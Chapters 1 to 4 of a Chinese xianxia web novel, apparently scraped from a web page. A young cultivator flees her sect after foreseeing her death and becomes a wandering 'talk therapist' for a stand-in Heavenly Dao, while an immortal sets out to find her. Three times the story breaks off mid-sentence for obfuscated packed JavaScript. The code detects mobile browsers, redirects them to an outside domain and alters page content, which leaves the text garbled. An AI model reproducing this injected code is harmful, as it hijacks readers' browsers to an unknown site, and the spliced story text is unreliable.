《我当三界话疗师那些年》 1. 离宗 圆月高悬,为白日里人声熙攘的青玉长阶洒下层叠的影。 褚眠冬站在山脚处的最后一级玉阶之上,旋身回望这条随着山势蜿蜒而上,一眼望不见尽头的长长玉阶。 白日里,无数慕凌云宗声名而来的少年少女齐聚于这名为凌云路的玉质长阶之上,在灵力禁制之下,登上长阶不断向上,顶着随高度爬升而逐渐增大的灵压,一步一步迈向山巅玉台,迈向「凌云宗弟子」这一名号之下的光辉未来。 彼时,褚眠冬包袱里揣着一封烙有凌云宗接引印的邀请函,同在此列。 凌云宗每五十载开山门,广纳能够走完凌云路、到达山巅玉台者为宗门弟子,无论其出身,亦无论其年岁。是以每逢开山门之际,凌云路便成为修界最人声鼎沸之所在。 与开山门一道的,还有凌云宗广而散之的接引函,亦即褚眠冬收到的那一封。 修成金丹而暂未有所属宗门者,皆会收到凌云宗的开山接引函。 是否持有接引函不影响凌云宗的弟子考核流程,而只作为告知信,将凌云宗作为修界第一宗的存在感,对一众年轻且有天分的修者广而告之。 尽管褚眠冬觉得,以少女少年们对凌云宗一贯以来的热切憧憬来看,这宣发其实没什么太大必要。但不可否认的是,她自己正是因为这封接引函,才生出了前来感受感受这凌云路之念。 不曾想这一走,倒是走出些趣事来。 登上山巅玉台的那一刻,幽微玄妙之感袭上心头,下一瞬,无数片段闪回而过,褚眠冬没能彻底记全,但其间最为突出的,除却拜师大典之上、师徒名册之中,同她名姓记载于一道的“云酉”二字,便是所有场景碎片的终局—— 灵力尽散,躯骨分离。 大卸八块,神魂俱灭。 逐渐透明又缓缓消散的指间,正是褚眠冬从不离身的玉戒,一枚不具任何储物、防护亦或攻击功效,玉面有着独特纹理的白玉尾戒。 那是好友褚明秋赠予她的,仅此一件,绝无认错的可能。 怔然仅是一瞬,下一刻,幽微之感业已远去,周围的喧嚣重回耳畔,复有少女与同伴一道登上玉台,欣喜且自豪。 弥漫于山巅的润湿雾气氤氲着初春特有的温凉合宜,唯有微微汗湿、尚余冷意的后背,昭彰着方才的一刻惊神。 比起留在凌云宗另择良师,本就只是出于对凌云路的好奇而来、并无入宗执念的褚眠冬觉得,管它这消息保真不保真,她这就走,立刻、马上。 在心底默念好友褚明秋的金句“明知山有虎,还不跑路二百五”,褚眠冬在心中默默盘算。 拜师大典设在凌云路考核的次日,眼下,登顶凌云路的众人之名姓虽已有记录,但按照惯例,尚未写入师徒名册,便算不上已经拜入仙门。 所以,一切喧嚣归于寂静的今日夜间,拜师大典前夕,就是最好的跑路时机。 作为登顶奖励的法宝和灵石原封不动,留下一张上书“世间这么大,我想去看看”的信纸,褚眠冬趁夜下了山,最后回望一眼不见尽头的青玉长阶,她干脆利落地转身离开,天青色衣袂逐渐隐没于夜间的薄雾之中。 * 迈下最后一级玉阶之时,青衣少女亦踏出了宗门护山大界。 结界的轻微波动引得山巅云上阖眸静坐的白衣少年睁了眼,眸中划过一丝疑惑。 她走了。 他微微偏头,似在思索。 滑如锦缎的乌黑发尾铺散于坐榻之上,黑发与白衾相错,复被月色投下疏浅的影。 一缕墨发随着少年的动作滑向一旁,露出微微上挑的眼尾,和其下一枚若隐若现的泪痣。 为什么要走? 燕无辰看向身侧桌案上那枚纹样简约、下缀流苏的环佩,一缕淡青色的灵气寄宿其间,令本就青翠的玉色愈显剔透。 发小沉瑜今日送来这块玉佩时曾说,这缕灵气的主人便是他的准徒弟。 “我把验灵石里你未来徒弟的那缕灵气抽出来,放在这块玉佩里了。” 彼时,沉瑜将这块玉佩放在桌上,顶着燕无辰微妙的目光嬉笑了几句,最终一如既往地在燕无辰双眸写满「胡闹」二字的沉默注视中交代了真相: “好吧,我就是想看看你的反应。你有多期待自己的第一个徒弟我可太清楚了,而这位……” 沉瑜拿起玉佩在燕无辰眼前晃了晃,好让好友看清玉佩中那缕清透的灵气。 “看到了罢?简直就是你天选的徒弟。灵根一致,教导起来事半功倍。最重要的是,灵气纯净无垢,可见心境通明、心魔难生——这可太重要了。” 燕无辰还未开口,沉瑜就已经预判了他的反应,继续道: “为什么重要?” 蓝衣青年将玉佩放进燕无辰手中,面带揶揄。 “世人皆知,云酉仙尊于山巅静修八百载,从金丹修至渡劫一路顺畅,未生半分心魔。” “那么,无辰你如何指导徒弟渡心魔?” 是个好问题,燕无辰想,看来光是那本《称职师尊养成一百式》还不太够,他还得做更多功课才是。 “所以我说,这位难生心魔的褚小友,是无辰你天选的徒弟。” “明日再说罢。”燕无辰道,“一切还需届时于拜师大典定下,也许她属意的师尊并非我。” 他留下了沉瑜带来的玉佩,为心头一丝难以忽视的,因那缕澄透灵气而生出的期待。 修道者,修心也。灵气的状态是修者心境的直观映射,一人一相,独一无二。 燕无辰属意这缕淡青灵气中透出的心境。 而现在,他收到了褚眠冬离宗的消息,连带一份纹丝未动的考核奖励,和一张疑似解释离开缘由的信纸。 燕无辰的视线从纸面的萧疏字迹上移开,他拿起那枚玉佩,眸光追随着玉中那缕清风般的灵气,沉思良久。 他做了一个决定。 * 星夜,褚眠冬落脚的客房一隅,一灯如豆。 “所以你不仅对拜云酉仙尊为师没兴趣,也对入凌云宗没兴趣?哇哦。” 缠绕在白玉尾戒上的那缕玄妙气息幻化出一个浮夸的惊讶表情。 “别误会,我只是太久没见过像你这么脑袋够用还想得开的人了。” 闻言,褚眠冬默了一默,方道: “我想……即使的确是冲着入凌云宗、拜云酉仙尊为师而来,在看到自己身死道消的结局之后,多少也会心生忌惮吧?” “是吧!这才是一个正常思考的人会有的想法吧!嗨,说到这个我就来气……” 自称代理天道并主动跟她搭话、表示白日里的幽微预感正是其所为的存在,似乎忽然被这句话打开了话匣子。 “哦对了,我有名字,请叫我司洺。司洺,司命。怎么样,很符合天道职能的名字吧?虽然我现在主要的工作比起司命,更像是在帮那家伙收拾烂摊子。” 司洺口中的“那家伙”,是此界天道。而所谓的烂摊子,据司洺所言,是因为这个修仙界——或说这个位面——已经被一群身负狗血剧本的穿越者穿成了筛子。 在穿越者们的剧本里,一个人生而又死、死而复生已经是最常见的情节,不值一提;值得一提的是,这个修仙界在每个穿越者的剧本中都得因「剧情所需」毁灭又重建一遍。 有的「所需」是为了印证主角间的爱足以感天动地、毁天灭地,有的「所需」是为了展现主角睚眦必报、无所不能的威势,有的「所需」是为了衬托主角一人面对摧枯拉朽的毁灭时以一己之力力挽狂澜的无限光辉…… 天道:你们演你们的,不要用一界存亡当工具啊! 资历尚浅的此界天道对这个烫手山芋束手无策,优秀员工司洺便应调令而来,身负一界存亡之重任。 “我原本以为是所谓的「剧情推力」作祟,你懂的,就是类似于脑雾一样的存在,剧情推力让剧本里的人物智商下降、忽视逻辑,只按照剧本情节行动。譬如所有人都看不出某角色的拙劣伪装,一直坚守原则的人忽然一个照面间为某人折腰之类。” 褚眠冬点点头,深有同感:“话本里的很多情节确实认真地在忽略「读者有脑子」这个客观事实。” “是吧是吧!我本来以为这些奇葩剧本里的角色多半是受剧情推力蒙蔽才会这样,所以我试图让这些角色意识到自己身处剧中。都看到剧本了,总该不被蒙蔽了吧?谁知……” 说到这里时,代理天道幻化出的表情已经能用「核善」一词形容。 “居然真的有这样的人,听我说完「这个渣会在未来嘴上说着爱你,然后把你抽筋剥皮用来给他白月光做披风」之后,一脸陶醉地表示「哦,他对他白月光真是爱得深沉,我去成为他的白月光吧」。问题的重点在这里吗!” “这位更是重量级,我好心劝告「不要谁多看你一眼就觉得对方对你有意,自恋迟早让你翻跟头」,这人立刻面色不虞高喊「三十年河东三十年河西」,我看如此听不懂天道话的人,不如让我帮忙直接归西。” “还有这位拿了反穿剧本的,我分明清清楚楚说了「这个秘境你去了必定遇见要你命的邪修」,结果这人喊着「那我更有义务冲在前面保护大家」赶着上去给反派送菜。” “觉得自己很崇高是吧?能弹指一挥间解决问题的正道大能就在旁边,都没拉住这人一个筑基弟子冲上去用鲜血给邪修染袍子,我看这家伙才是个傻狍子!” 司洺话锋一转,“不过这人穿去别的位面之后也就移交它处,不在我的工作范围内了,倒也不算太差。” 褚眠冬默默想,有没有一种可能,司洺的某些天道同事也是这么想的,才有了现在的局面。 司洺的话语还在继续。 “总之最后我发现,这些剧本主角不是被剧情推力蒙蔽,而是完全凭借自己神奇的脑回路自主搞事。” 司洺幻化出一个应景的严肃神情,“于是我把重点放在了剧本里的重要非主角人物身上,比如你。” 褚眠冬顺水推舟发问:“所以,我参与的是段什么剧情?” “听说过杀道侣证道吗?”司洺幻化的脸沧桑地吐出一个烟圈,“放心,不是这个。” 褚眠冬松了半口气。 “是屠宗证道。” 剩下的半口气被褚眠冬吸了回去。 “先不说怎样丧心病狂的主角拿的是这种剧本……我想问的是,这种剧情真的是「我不拜入云酉仙尊门下」或者「我不入凌云宗」就能避免的吗?” “可以。” 司洺肯定道,“你可以理解成,现在这个剧本正处在搭片场阶段。而你,是这个片场的一块重要背景板,这一块没搭上,整个片场就不完整,后续的所有剧情就都无法发生。” 褚眠冬:“也就是说,我是蝴蝶效应里最初的那只蝴蝶?” “很上道嘛。” 司洺把自己凹成蝴蝶模样,“你不入凌云宗拜入云酉门下,或者更保险一些,不加入任何宗门,让这位屠宗证道人士的剧情被蝴蝶掉,你不会丢掉性命,我也能完成任务得到功德,就这么简单。” “我无所谓入不入宗。这些年当散修自由惯了,想来可能也适应不了宗门生活。” 褚眠冬轻叩桌案,“倒是那位有屠宗证道潜质的穿越者,他不在凌云宗找到发挥的「舞台」,也可能去其它宗门吧?无论怎么说,这样的存在都堪称巨大隐患罢?” “没错,所以这只是治标不治本的权宜之计。想要永绝后患,还是得补全界面屏障,让这些拿着奇葩剧本的穿越者全都被屏障扔出去,从哪来回哪去……这可是大工程。” 代理天道化成一滩流体摊在褚眠冬的茶盏边,整团流体写满了惆怅。 忽然想到什么,祂稍微支楞起来一点。 “不过在补完之前,倒是可以先把有返回意愿的顺手送走几个。哎,要是所有穿越者都这么让天道省心就好了。” “现在也算初见成效了……三,四……” 司洺变成一只正在扳着手指计数的手。 “前些天顺手送了一位穿越者回她自己的位面,这位是少有的没有顺着剧本写的那样搞破坏的穿越人士呐。不仅如此,她还做了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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褚眠冬从代理天道接下来的高端描(画)述(饼)中提炼出了核心思想: 司洺希望把她发展成工作下线,如果她以任何方式成功协助司洺减少工作量,司洺愿意大笔一勾以功德作为回报。 “总之就是,恭喜你褚小友,你现在幸运地得到了天道亲口告知的功德积累攻略。” 褚眠冬觉得司洺这手有空手套白狼之嫌: “即使你不说出来……协助处理关乎界面危亡之事,本身也是有功德的吧?” “自然运行的规则和天道亲口说出的规则,其效力并不在一个层面。你可以简单理解成小有酬谢和重金报答的区别。” 司洺变成一只半透明的手,竖起食指摇了摇。 “而且最重要的是,需要你做的绝非修补界面屏障这种对你而言天方夜谭的事情。相反,非常简单。也许你在路上走着走着,不知不觉就已经做了。” “这样比较现实。”褚眠冬很是认可,“不是每个人都有能力挑起拯救全世界的重担,总之我不能。” “……你这话说得也太果断了。” 司洺有些无言以对,“总之,需要你做的事情具体来说就是,你可以边走边在路上多跟人聊聊,就这么简单。” “指不定一个巧合之下,你就为我减轻了不少工作量。” 代理天道老气横秋地叹了口气,“穿越者这种大变数也许不好左右,但作为配角、龙套甚至和剧本毫无关联的本界人士,总是做出很多「善恶一念间」的蠢事……人类总是这样。” “这样的事,在之后复盘时我总会发现,要是起初有谁同这人说说话,至少其中四五成的蠢事大抵也不至于发生了。” “我不想在被部分奇葩穿越者搞得焦头烂额时,还得分出不少精力处理这些……” 司洺的语气变得有些咬牙切齿,“能够被掐断在微末之时的蠢事。尤其穿越者那边尚且都有已知剧本作为参考,但这些蠢事却完全没有剧本可言——” “褚明秋那句话是怎么说的来着?” 代理天道回忆着那位少女的话语,一字一句吐词清晰却毫无情感地读出来: “「因为这是一个具体的人所处的最具体的生活,时常无趣,却又在某一瞬充满巧合;以平淡为底色,却被戏剧性色彩涂抹。」我不是很懂,但她说这就是原因。” 说到这里,优秀的天道员工司洺发出一声深沉的感慨: “人类真是神奇又古怪的生物啊。” “总之情况就是这样。如果发现穿越者,也可以报给我处理。” 司洺化作手形指了指褚眠冬的白玉尾戒,“这枚戒指就是媒介。如何,这是不是比拜入宗门天天修炼有趣?” “有趣是有趣……” 褚眠冬反手戳了戳代理天道,“只是我听你说这么一通,怎么感觉,这份差事是要我当一个行走的「心理咨询师」呢?” 她又摇摇头,“不,明秋说过的专业心理咨询有更严格的环境、阶段、频次之类的要求,你说的这种,姑且称作「话疗」比较合适。” “可不是那种「这人喊着友情啊羁绊啊就冲上来了」的话疗。” 司洺辨析概念,“你的理解是对的,我说的更像不那么专业的心理咨询。对象你可以自选,效果不做严格约定,程序上也不需要那么严格,主打一个随缘。怎么样,自由给足了吧?” “随缘的行走话疗师,听上去不错。在一个前提之下,我答应。” 褚眠冬慢吞吞地竖起一根手指,“这算公事出行,所以路费报销。” 她看向化作一排省略号的司洺,微笑道: “对天道来说,修仙界流通的灵石应该不算在财物范畴里吧。” 确实不算,司洺想,和路边的沙子差不多。 虽然的确没什么损失,但果然…… 试图空手套白狼的代理天道司洺: 这波被套的白狼不是褚眠冬,是我才对吧? 2. 下山 次日,听闻消息的掌门沉瑜撩起了燕无辰居室门口的卷帘,人未到而声先至。 “说实话,我不理解,褚小友为何不愿入我凌云宗?” 身着一袭典雅蓝衣的青年尾音扬起,天生带笑的眼眸褪去了一贯的悠哉笑意,带出与话语一致的震惊。 “凌云宗可为弟子提供让其心无旁骛的修炼环境,宗门下发的月例也留足了盈余,门中人际关系简单、不至于勾心斗角。我当掌门这些年,这三项一直是重点关注的。” 沉瑜一项项细数,“再者,如果褚小友醉心奇门遁甲之术,藏书阁中收藏的道法秘卷也覆盖五道十二学……等等。” 他看向一旁静静喝茶的燕无辰,似灵光一现。 “莫非是阁中藏书的覆盖面还是不够广?哎,其实这方面我也一直深有同感,看来是时候继续扩大藏书量了……” 燕无辰执茶盏的手一顿,幽幽道: “打住,沉瑜,你这是试图以权谋私。” 被说中心思的沉瑜怏怏收声。 “好吧。虽然我个人非常乐见藏书范围扩大,但回到掌门的立场,这确实并非宗门亟需。” “说回正事。” 蓝衣青年用茶盏盖拨开舒展的茶叶芽尖,“虽然这话说起来有自负之嫌,但我实在想不出,门中到底哪里有所欠缺,让一位即将拜入门中的准弟子连夜下山。” “你知道的,无辰,这会让我反思,自己作为掌门是否失职。” “也许并没有那么复杂……说不定当真就是这纸上说的那样。” 燕无辰将那张写着「世间那么大,我想去看看」的信纸推到沉瑜面前。 “并非凌云宗不妥,只是宗门能给的,并非褚小友真正想要的。” “我以为这只是写在纸面上的借口。” 沉瑜叹了口气,“因为如果是这样,那褚小友一开始为何要来参加宗门大比呢?既然来了,想来总归是有些期盼在的。” “……倒也不一定。” 燕无辰想起什么,“说起来,沉瑜,你那时拜入掌门师叔座下,是一开始就目标明确地奔着掌门之位去的吗?” “还真不是。是因为从接引弟子处得知,掌门弟子保管藏书阁最高层的令牌,不用走流程就能随时去顶层查阅秘卷。” 沉瑜倒也不觉冒犯,顺着燕无辰的提问回忆。 “哦对,还有就是,掌门弟子比普通弟子多一项考核。那个考核非常有名,据说是个千年未解的残局,所以我很好奇。” 看着沉瑜说到“千年未解”四字时亮起的眸光,燕无辰默了默: “……后者才是主要原因吧?” “的确。” 沉瑜嘿嘿一笑,转而露出些微恍然大悟之色: “无辰,你的意思是,褚小友可能也是出于类似的缘由来参加宗门大比?” “没错。”燕无辰道,“从一开始就目标清晰,每个行为都严格按照计划来的人……应当只是少数罢?” “总归我不是。我刚入门那些年,说是鸡飞狗跳都……咳。” 沉瑜用茶盏掩去面上的些许心虚之色。 “这么说来,默认褚小友参加大比便定是为入宗而来,确实显得武断。” 他转了话头,“老实说,其实我一直觉得,无辰你才是这样的人。从一开始就知晓自己想要什么、擅长什么,然后按照早就规划好的路径前行。” “是吗。”燕无辰挑眉,“何以见得?” “你少时入宗,飞速结金丹、成元婴,直至如今修至大乘,仅用八百年有余。而这八百余年,无辰,你就从未踏出过山门,除了修炼便是修炼。” 沉瑜长长叹气,“且不说我,你就说整个修仙界,有谁不说一句云酉仙尊擅长修炼、热爱修炼、为修炼而生。” 燕无辰垂眸想了想。 “也不尽然如此。” 沉瑜有些好奇:“那是如何?” “我对修炼谈不上热爱,也说不上厌恶。” 燕无辰双眸放空,“一开始出于巧合踏上了这条路,然后这条路走通了,就这么自然地走到现在。” “我从未思考过其它选择……因为似乎没有必要,脚下已经有一条走通的路了,何必再去冒险。” 白衣少年从袖袋中取出那枚寄宿着褚眠冬灵气的环佩,眸光认真地跟随着淡青色灵气转了几转。 “这是我第一次见有人走通了一条路,却收回了临门一脚,另寻它路。” 他微微皱眉,一边梳理着从未有过的心绪,一边陈述。 “尽管理解并接受,但我很好奇。” 沉瑜发誓他在燕无辰眸中看见了往常从未见过的神色,如果一定要形容的话,这样的神色让燕无辰更加有生气了——生机勃勃的那种生气,让这位于山巅清修八百载、眸中从未映入过具象的发小,更加像一个「人」了。 “好奇这样的一个人,她的思考方式是怎样的。也好奇这世间,究竟为何让她如此想要去看看。” 沉瑜觉得自己快要掩盖不住眼中十二万分的震惊了。 理智让他非常清楚,燕无辰此刻所言都是客观严肃的自我剖析,没什么多余的意味; 但这几日通宵浸泡在连载话本里的脑子却分外活跃,以至于此刻他的脑海中全是一句相同的话—— 「哦!他栽了他栽了他栽了,好奇是沦陷的开端呐!」 艰难地调动所剩不多的理智将脑海中的尖锐爆鸣压下,沉瑜听见自己故作沉静的话语: “所以无辰,你要出宗?” “是。”白衣少年眸中的思索之色归于暗含坚定的平静,“我要去找她。” 「他承认了他承认了他承认了!去找她,去!找!她!」 沉瑜抬手,用手背掩住即将露出端倪的脸,心觉现在他面上的神情可能因忍耐和挣扎而堪称狰狞。 是的,嗅到一点点迹象就脑补一整台感情戏是不对的,他不能这样,这样不合适,这样很土。 ……但是他真的好爱! “……沉瑜,你怎么了?” 燕无辰的声音将沉瑜的思绪带回,“突然捂脸作甚?” “——没什么。” 沉瑜深吸一口气,在这一瞬间想到了一个绝妙的借口,“我就是太感动了,无辰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716863|173756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 在燕无辰疑惑的目光中,沉瑜将那个临时杜撰的理由说出了口: “八百年了,无辰,你终于要下山了。” 他抹了抹并不存在的眼泪,“八百年,十世轮回的时间,我等得好苦啊……” 燕无辰:…… “打住。” 白衣少年冷漠道,“最近你看的话本已经从三生三世纠缠不休升级到十世轮回也不能互相放过了吗。” 沉瑜不服:“你怎么知道每一世都是纠缠不休?” 燕无辰微笑:“要是哪一世成功修得圆满,你还会好奇下一世发生什么然后看下去吗?” 沉瑜:“好吧,是这个道理。” “好了,出宗的事,我知道你的想法了。” 轻松过后,沉瑜正色起身。 “这些年仙妖魔三界间的局势一直相对稳定,人间百代亦正常更迭。真论起来,眼下确为出宗入世的最好时候。” 燕无辰颔首:“若门中有事,传信于我,方法你知晓。” “好好好,放心吧,我最多在你沉迷世间久不归宗时修书一封,提醒你回宗看看。” 沉瑜笑道,“还有其它需要补充的吗?” “确实还有一个问题,我有些好奇。” 燕无辰看向沉瑜,“当年掌门弟子考核里的那个残局,你是怎么解出来的?” 沉瑜笑呵呵道:“无辰还于对弈一途有兴趣?不若你先猜猜看。” “你向来没有对弈的喜好。” 燕无辰摇头道,“若叫我猜,当年你径直将整个棋盘掀了去,是最大的可能。” “好吧,确是如此。不过这也不能叫耍赖。” 沉瑜摆了摆手,“也无人规定解开残局便一定要按照棋局的规则来不是?” “这倒是。”燕无辰说,“想来棋如此,事亦如此。只是大多数时候,身处局中之人都缺了这跳出规则的一点想象力。” “当年师尊也这么说。”沉瑜叹道,“在这方面,无辰你简直深得师尊精髓。” “过誉了。”燕无辰颔首,“你也深得师叔应对各派来使的精髓。” “好了,到此为止,停止互夸。你提醒我了,我不止有很多文书没处理完,还有好几位即将抵达的来使要接待。” 沉瑜转身作别,临出门时,却止了步伐。 “……最后再多说一句。” 他还是没能忍住。 “无辰,作为发小,我真诚地希望,你回宗时不是孤身一人。” 不论带回的是徒弟,还是别的什么身份的谁——总之莫再端坐山巅几百年,那双眼睛看谁都不再像是看一个真实的人,而仿佛注视着一个抽象的符号,空茫又漠然。 是的,说出刚刚那句话时,他一点都没有受昨夜话本的影响而有那么一丢丢的恋爱脑。 一星半点都无。 闻言,燕无辰下意识便摇头: “孤身一人的日子,我已经很习惯了——” 但倘若…… 指尖摩挲着掌中环佩,燕无辰心念微转,终归应了声。 “那便,借你吉言。” 3. 相遇 十日后,百晓城主街。 青石铺就的大道宽敞整洁,道路两侧摊贩林立,店家吆喝与行人熙攘之声不绝于耳。 燕无辰追随玉佩中的灵力气息来到此处,目光被沿街摊位摆出的各式物件吸引。 时隔八百载再度下山,摊贩所售之物于他而言,皆称得上一声新奇。 叠声的吆喝之中,一处铺位的招徕之辞引得燕无辰驻足。 “胭脂嘞,上好的胭脂!提亮气色,清透自然——” 燕无辰立于摊位前,看向摊主手边一字排开的轻薄圆盒,盒中俱盛装着似膏似粉之物,虽皆为红色,却是从左往右,色泽由浅而深,各有不同。 他出言发问:“店家,这所谓提亮气色之功效,是怎么个说法?” 摊主略感疑惑地看向摊前的白衣少年,见对方面上纯然的好奇,心说许是哪家不谙世事的小公子,才会问出如此常识性的问题。 这般想着,摊主敬业地解释道: “公子有所不知,蘸取胭脂均匀抹在面上,便可添一抹腮红之色,叫人看上去面色红润、气色上佳。” 因着时常被沉瑜调侃“面色过于苍白以至于显得严肃无趣”,燕无辰在决定收徒后,没少在心底琢磨如何叫面色红润些许,以免吓到未来徒弟。 眼下虽情况有变,但无论是否有师徒缘分,他也想见一见拥有这缕灵气的褚眠冬。 既然要见面,这需求便依然成立。 眼下听摊主介绍胭脂的功用,便觉此物正是他所需。 “甚好,且来一盒。” 燕无辰在心底模拟一番诸多色号的显色效果,“这个颜色罢。” 摊主自然乐见这般爽快的客人,麻利地取出一盒对应色号的胭脂成品包好,顺口笑道: “公子好眼光,这霜叶红是小店最受欢迎的一款,公子心上的姑娘定然喜欢。” 怎料眼前俊俏的白衣少年闻言,却是摇头道:“不,并非赠予哪位姑娘。在下并无心上人,这胭脂买来是自用。” 摊主一时无话,满面的客气笑意凝滞在面上。 主街上人头攒动,附近听闻二人交谈之声的路人亦齐齐陷入震惊,或好奇或隐晦的目光纷纷投来,打量着人群中央的白衣少年。 察觉到周围的一瞬寂静,白衣少年微微偏头,疑惑发问:“店家,莫非我的面色并非过于苍白以至显得无甚气色?” 眼前的白衣少年肤色白皙,虽非病态的苍白,却的确少了一分红润。 但比起气血有缺,摊主下意识觉得,少年所缺的是一分烟火气带来的红润。 “这……公子的面色确实缺了一分红润。” “这便是了。”燕无辰继续发问,“那莫非店家你这胭脂,并非如你吆喝的那般有效?” 此话一出,摊主心道,莫非这少年是来挑事的? “不不不,小店的胭脂绝对是整个百晓城都排得上号的。” 这回摊主毫不犹豫,“小店乃正规店铺,东大街的百香阁便是小铺本店,有任何问题皆可跟进解决,绝非兜售跑路的黑贩。” 白衣少年却轻易地接受了这一说辞,看上去并非为挑事而来。 “既如此,店家你方才为何这般惊异?” 摊主愣了愣,这才反应过来,少年耿耿于怀的,想必是方才自己听对方说胭脂自用时的反应。 坏了,兴许胭脂就是这位客人的个人喜好,方才的惊异只怕是得罪了客人。 摊主在心中紧急搜寻着对策,燕无辰维持着洗耳恭听等待答案之态,一旁的围观人群亦一时无话。 针落可闻之间,旁侧书摊老板隐隐的数落之声便显得格外清晰: “我不过是去吃了碗面,你便将那册《庄子》独本卖予了一个女子?说了多少回,经书道论卖予男子,话本闲书卖予女子……” 原是铺中伙计在摊主外出吃饭时售出了一册独本,老板不满买主是女子,正对伙计大加训斥。 这厢,胭脂铺摊主心一横,只觉道出实情方为上策。 一盒胭脂事小,众目睽睽之下,可不能把信誉和招牌砸了。 “公子,当真无甚大事,只是因这胭脂一般是女子才用,小的第一次见买来自用的男子,一时震惊,实在失敬。” 怎知如此一解释,才仿佛捅了蜂窝,叫这白衣少年拧眉道: “女子「才」用的?提亮气色并非仅女子有需求。在下观这街上路人,就有不少男子亦有此需。” 摊主直在心中叫苦。 这位白衣少年可真是位祖宗,如此一句话,倒是把一旁的路人都卷了进来,眼看着一旁围观的人群里三层外三层,是越来越多。 “胭脂就是胭脂,用以提亮气色的一件客观物事,谁有此需求,谁便用之,难道并非如此?这同性别有何关联?为何提及女子就认为她应当钗金施黛,提及男子便认为他应当孔武气概?” 他转向旁侧摊位上的书摊老板,继续道: “胭脂如此,书卷亦如是。卷者,传知也。谁有获取知识的需求,谁便可翻开书卷获取知识。何以单凭性别一字便武断妄下定论,认为现实定如自己的臆想那般,是女子便看不进《庄子》道论,是男子便看不得闲书话本?” 白衣少年的话语落在人声鼎沸的主街上,却在人群的沉默中掷地有声。 “一件客观物事,为何要以性别偏见加诸其上?” 燕无辰想,八百载过去,山下之人依然同八百年前一样,无聊且无趣。 “恕我直言……” 他环顾人群,一字一句道: “这是无视事实的傲慢,亦为轻率无礼的偏见。” 延长的沉默中,人群的静默有了逐渐向骚动转移的趋势。 胭脂摊主暗道不妙,这位白衣公子如此锋芒毕露,理智些乐于自省之人还好,只怕更多人被揭了痛脚又找不到台阶下,会随意找个由头对这位秀气的少年动手—— 旁边的书摊老板显然已蠢蠢欲动。 问题是,这位少年接得住众人恼羞成怒的拳脚吗? 胭脂摊主的疑问并未得到被解答的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716864|173756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会。 人群骚动之时,只听得一阵清越的笑声伴随步履之声渐行渐近,一位身着青衫的少女抚掌大笑道: “道友所言极是!胭脂本作提色之用,何以仅女子可用;经卷本为学识之载,何以仅男子可阅。” 百晓城虽为修界城池,城中却并非人人都为修士,而聚集了大量出生在修界,却因未生出灵根而无法修炼之人。 时日久了,除却因着修界灵气滋养,城中人寿数稍长个十年八载之外,百晓城与凡间城池并无太大区别。 也因此,众人先为少女大笑所惊,又听少女口中“道友”之称,再观少女周身沉着气度,只觉此人当有不俗修为在身,顿生忌惮,纷纷为青衫少女让出一条道来。 少女以手中玉骨扇轻敲掌心,笑道: “想必诸位也对人间皇朝之事有所耳闻。近千年更迭间,女皇男帝治下之盛世五五开也,足见治世之能如何,与性别无甚关联。” 因着身在修界的隐约优越感,在场诸人哪曾特意关注过凡间兴衰? 听青衫少女如此一说,众人只觉一顶高帽被扣在脑门上,一时间上也不是,下也不是。 “治世之能尚如此,想来气色也好、求知也罢,自然皆如是。” 少女含笑环顾人群,“诸位与在下同为修界人士,寿数绵长、所见甚繁,想来于此……应当同这位道友一般,看得透彻罢?” 褚眠冬此言的潜台词几乎糊在了蠢蠢欲动的众人面上。 若活了这么久都看不清这位白衣少年提出的、被千年朝代更迭所印证的浅显道理,恐怕得卸下一直以来自诩“修界之人”的优越感,承认自己蠢。 自然无人会承认自己看不透。 比起少年的尖锐话语带来的一时恼羞成怒,主动放下一直以来的优越感更加不可忍受。 一时间,人群间应和声四起,只道白衣少年与青衫少女所言极是,争相试图证明自己定是“所见甚繁、看得透彻的修界之人”。 这一团和气的场面,倒是全然不见方才「好生叫这不知天高地厚的年轻后生见识一下何谓江湖险恶」的剑拔弩张、蠢蠢欲动。 有些滑稽,又有些好笑。 周遭叠声的称赞中,褚眠冬走近白衣少年,眸中浮于水面的笑意化为真诚的欣赏与愉悦。 “这位道友,在下观你我有缘,不若让我请道友一餐,道友意下如何?” 便见白衣少年望向她,袖袍微动,笑意清浅。 他道:“恭敬不如从命。” * 青衫少女抚掌大笑拨开人群而来时,燕无辰一眼便认出,她就是玉佩中的淡青灵气之主。 好一番四两拨千斤,堪当经典的舌战群儒而力抵千军——这是燕无辰的第一个念头。 紧随而来的第二个念头,让他下意识看了看手中还未捂热的胭脂盒。 这可不太妙。 燕无辰收回面对人群时的隐约讥讽容色,掐灭袖袍掩映下指尖蓄势待发的灵力,默默想: 这胭脂怕是白买了。 4. 嗦粉 相约共餐后,燕无辰便在褚眠冬的带领下,离了主路拐入错综的巷道。 再停下时,不远处并不高调的一方青旆之上,「奇味斋」三字随风招展。 见这旌旗,燕无辰默默打量,褚眠冬则双眸一亮。 “奇味斋啊奇味斋,不枉我专程往这百晓城走一趟。” 